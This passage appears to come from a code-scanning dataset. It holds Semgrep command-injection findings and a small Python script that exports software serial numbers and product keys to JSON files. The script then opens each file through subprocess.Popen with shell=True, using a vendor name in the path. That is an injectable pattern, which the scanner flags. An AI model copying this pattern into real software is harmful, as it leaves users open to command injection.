[], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/d4884b693b5056f6.py", "start": {"line": 44, "col": 9, "offset": 2071}, "end": {"line": 44, "col": 62, "offset": 2124}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d4884b693b5056f6_7940a278", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 9, "column_end": 86, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/d4884b693b5056f6.py", "start": {"line": 48, "col": 9, "offset": 2274}, "end": {"line": 48, "col": 86, "offset": 2351}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d4884b693b5056f6_cdba199f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 52, "line_end": 52, "column_start": 9, "column_end": 86, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/d4884b693b5056f6.py", "start": {"line": 52, "col": 9, "offset": 2513}, "end": {"line": 52, "col": 86, "offset": 2590}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d4884b693b5056f6_18756b12", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 53, "line_end": 53, "column_start": 9, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/d4884b693b5056f6.py", "start": {"line": 53, "col": 9, "offset": 2599}, "end": {"line": 53, "col": 70, "offset": 2660}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 8 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-c... | [
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
27,
38,
42,
43,
44,
48,
52,
53
] | [
27,
38,
42,
43,
44,
48,
52,
53
] | [
9,
9,
9,
9,
9,
9,
9,
9
] | [
86,
87,
62,
86,
62,
86,
86,
70
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found dynamic conte... | [
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | controller.py | /lib/controller.py | andriykislitsyn/ApplePie | MIT | |
2024-11-18T20:16:04.291997+00:00 | 1,607,614,809,000 | ce8ef0ddaa6148f09883b0b1ddb1f6bc58259745 | 2 | {
"blob_id": "ce8ef0ddaa6148f09883b0b1ddb1f6bc58259745",
"branch_name": "refs/heads/master",
"committer_date": 1607614809000,
"content_id": "5372a488881000ac731f03d4b31a6237ea55b947",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "b324bf6e5eff78440c7fe597e97253a86a2f0e6b",
"extension": "py",
"filename": "sam_records_json_reports.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 223681884,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2174,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/sam_records_json_reports.py",
"provenance": "stack-edu-0054.json.gz:570911",
"repo_name": "Varigarble/serial-number-format-validator",
"revision_date": 1607614809000,
"revision_id": "5094db55e360288c0572b5f7e22ae46b06f853b8",
"snapshot_id": "ab7ac0ab813c171959aae606411b658903b4e8ce",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/Varigarble/serial-number-format-validator/5094db55e360288c0572b5f7e22ae46b06f853b8/sam_records_json_reports.py",
"visit_date": "2023-01-29T15:09:44.854652"
} | 2.484375 | stackv2 | import json
import sqlite3
import subprocess
from dotenv import load_dotenv
from os import getenv
load_dotenv()
db = getenv('db_filepath')
folder = getenv('folder')
def create_connection(db_file):
connect = None
try:
connect = sqlite3.connect(db_file)
print("connect success")
return connect
except sqlite3.Error as e:
print("connect failure", e)
finally:
return connect
def all_vendors_report():
table = create_connection(db).cursor().execute("SELECT * FROM Vendors")
table_list_dict = [{"id": f"{row[0]}",
"Vendor": f"{row[1]}",
"Serial Number": f"{row[2]}",
"Product Key": f"{row[3]}"}
for row in table]
table_reformatted = {}
for row in table_list_dict:
table_reformatted[row["Vendor"]] = {}
for row in table_list_dict:
table_reformatted[row["Vendor"]][row["id"]] = {'Serial Number': row['Serial Number'], 'Product Key':
row['Product Key']}
json_dict = {"Software Vendors": table_reformatted}
av_json = open(f"{folder}sam_vendors.json", "w", encoding="utf-8")
json.dump(json_dict, av_json, ensure_ascii=False, indent=4, separators=(',', ': '))
av_json.close()
subprocess.Popen([f"{folder}sam_vendors.json"], shell=True)
def one_vendor_report(vendor):
table = create_connection(db).cursor().execute("SELECT * FROM Vendors WHERE Vendor = ?;", (vendor,))
table_list_dict = [{"id": f"{row[0]}",
"Serial Number": f"{row[2]}",
"Product Key": f"{row[3]}"}
for row in table]
table_reformatted = {str(vendor): {}}
for row in table_list_dict:
table_reformatted[str(vendor)][row["id"]] = {'Serial Number': row['Serial Number'], 'Product Key':
row['Product Key']}
json_dict = table_reformatted
sv_json = open(f"{folder}{vendor}.json", "w", encoding="utf-8")
json.dump(json_dict, sv_json, ensure_ascii=False, indent=4, separators=(',', ': '))
sv_json.close()
subprocess.Popen([f"{folder}{vendor}.json"], shell=True)
| 58 | 36.48 | 108 | 12 | 518 | python | [{"finding_id": "semgrep_rules.python.correctness.suppressed-exception-handling-finally-break_d1af45eb4206f6ed_a9db79df", "tool_name": "semgrep", "rule_id": "rules.python.correctness.suppressed-exception-handling-finally-break", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Having a `break`, `continue`, or `return` in a `finally` block will cause strange behaviors, like exceptions not being caught.", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 21, "column_start": 5, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/reference/compound_stmts.html#the-try-statement", "title": null}, {"url": "https://www.python.org/dev/peps/pep-0601/#rejection-note", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.correctness.suppressed-exception-handling-finally-break", "path": "/tmp/tmpb8jm_z1l/d1af45eb4206f6ed.py", "start": {"line": 14, "col": 5, "offset": 223}, "end": {"line": 21, "col": 23, "offset": 429}, "extra": {"message": "Having a `break`, `continue`, or `return` in a `finally` block will cause strange behaviors, like exceptions not being caught.", "metadata": {"references": ["https://docs.python.org/3/reference/compound_stmts.html#the-try-statement", "https://www.python.org/dev/peps/pep-0601/#rejection-note"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_d1af45eb4206f6ed_3f43fd98", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 5, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/d1af45eb4206f6ed.py", "start": {"line": 41, "col": 5, "offset": 1288}, "end": {"line": 41, "col": 64, "offset": 1347}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args_d1af45eb4206f6ed_74a27aa1", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected subprocess function 'Popen' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 22, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/d1af45eb4206f6ed.py", "start": {"line": 41, "col": 22, "offset": 1305}, "end": {"line": 41, "col": 51, "offset": 1334}, "extra": {"message": "Detected subprocess function 'Popen' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_d1af45eb4206f6ed_94cac2fe", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 59, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/d1af45eb4206f6ed.py", "start": {"line": 41, "col": 59, "offset": 1342}, "end": {"line": 41, "col": 63, "offset": 1346}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_d1af45eb4206f6ed_4dd080ce", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 58, "line_end": 58, "column_start": 5, "column_end": 61, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/d1af45eb4206f6ed.py", "start": {"line": 58, "col": 5, "offset": 2117}, "end": {"line": 58, "col": 61, "offset": 2173}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args_d1af45eb4206f6ed_7956d8d8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected subprocess function 'Popen' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 58, "line_end": 58, "column_start": 22, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/d1af45eb4206f6ed.py", "start": {"line": 58, "col": 22, "offset": 2134}, "end": {"line": 58, "col": 48, "offset": 2160}, "extra": {"message": "Detected subprocess function 'Popen' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_d1af45eb4206f6ed_473efb90", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 58, "line_end": 58, "column_start": 56, "column_end": 60, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/d1af45eb4206f6ed.py", "start": {"line": 58, "col": 56, "offset": 2168}, "end": {"line": 58, "col": 60, "offset": 2172}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 7 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args",
"rules.python.lang.security.audit.subprocess-shell-true",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dang... | [
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"MEDIUM",
"LOW",
"MEDIUM",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
41,
41,
41,
58,
58,
58
] | [
41,
41,
41,
58,
58,
58
] | [
5,
22,
59,
5,
22,
56
] | [
64,
51,
63,
61,
48,
60
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
